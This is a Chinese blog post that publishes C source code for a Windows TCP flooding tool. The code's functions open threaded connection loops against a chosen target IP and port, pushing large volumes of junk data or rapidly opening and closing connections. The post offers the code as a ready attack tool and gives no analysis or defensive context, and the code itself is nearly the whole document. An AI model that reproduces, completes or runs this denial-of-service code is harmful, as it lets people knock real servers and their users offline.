2013年5月30日星期四

TCP并发,TCP畸连接,TCPflood源代码发布

TCP——TCP并发,TCP畸连接,TCPflood源代码发布  

2010-10-27 03:44:51|  分类: 默认分类 |  标签:sockaddr  stopflag  int  null  m_hsocket   |字号 订阅
TCP——TCP并发,TCP畸连接,TCPflood源代码发布
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib,"WS2_32.LIB")
void tcpattack()
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2) ,&WSAData);
SOCKADDR_IN sockAddr;
SOCKET m_hSocket;
srand((unsigned)time( NULL ));
int tcprand=rand()%512+1;
char tcpbuffer[256];
memset(tcpbuffer,tcprand,256);
int nSize = 256;

memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family = AF_INET;
sockAddr.sin_port=htons(tgtPort);
sockAddr.sin_addr.s_addr = inet_addr(tgtIP);

for(;;)
{
if (StopFlag == 1)
{
ExitThread(1);
return;
}
m_hSocket = socket(PF_INET,SOCK_STREAM,0);
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0)
continue;
for(int a=0;a<10240;a++)
{
if (send(m_hSocket,tcpbuffer,nSize,0) ==SOCKET_ERROR)
break;
}
Sleep(SleepTime);
}
WSACleanup();
return;
}
/*--------------------------------------------------------------------------------------*/
void StartTCP(char ip[30],int port,int mytime,int xc)
{
if (inet_addr(ip)== INADDR_NONE)
{
struct hostent *hp = NULL;
if ((hp = gethostbyname(ip)) != NULL)
{
in_addr in;
memcpy(&in, hp->h_addr, hp->h_length);
strcpy(tgtIP,inet_ntoa(in));
}
}
else
strcpy(tgtIP,ip);
port=tgtPort;
timeout=mytime;
if (StopFlag == -1)
return;
StopFlag=-1;
for(z=0;z<xc;z++)
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)tcpattack, NULL, 0, NULL);
}
if(timeout!=0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);
}
}
/*---------------------------------------------------------------------------------*/
void xpattack()
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,2) ,&WSAData);
SOCKADDR_IN sockAddr;
SOCKET m_hSocket;
int nSize = 256;

memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family = AF_INET;
sockAddr.sin_port=htons(tgtPort);
sockAddr.sin_addr.s_addr = inet_addr(tgtIP);
for(;;)
{
if (StopFlag == 1)
{
ExitThread(1);
return;
}
m_hSocket = socket(PF_INET,SOCK_STREAM,0);

for(int ss=0;ss<1024;ss++)
{
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0)
continue;
closesocket(m_hSocket);
}
Sleep(SleepTime);
}
WSACleanup();
return;
}
/*--------------------------------------------------------------------------------------*/
void StartXP(char ip[30],int port,int mytime,int xc)
{
if (inet_addr(ip)== INADDR_NONE)
{
struct hostent *hp = NULL;
if ((hp = gethostbyname(ip)) != NULL)
{
in_addr in;
memcpy(&in, hp->h_addr, hp->h_length);
strcpy(tgtIP,inet_ntoa(in));
}
}
else
strcpy(tgtIP,ip);
port=tgtPort;
timeout=mytime;
if (StopFlag == -1)
return;
StopFlag=-1;
for(z=0;z<xc;z++)
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)xpattack, NULL, 0, NULL);
}
if(SleepTime!=0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);
}
}

没有评论:

发表评论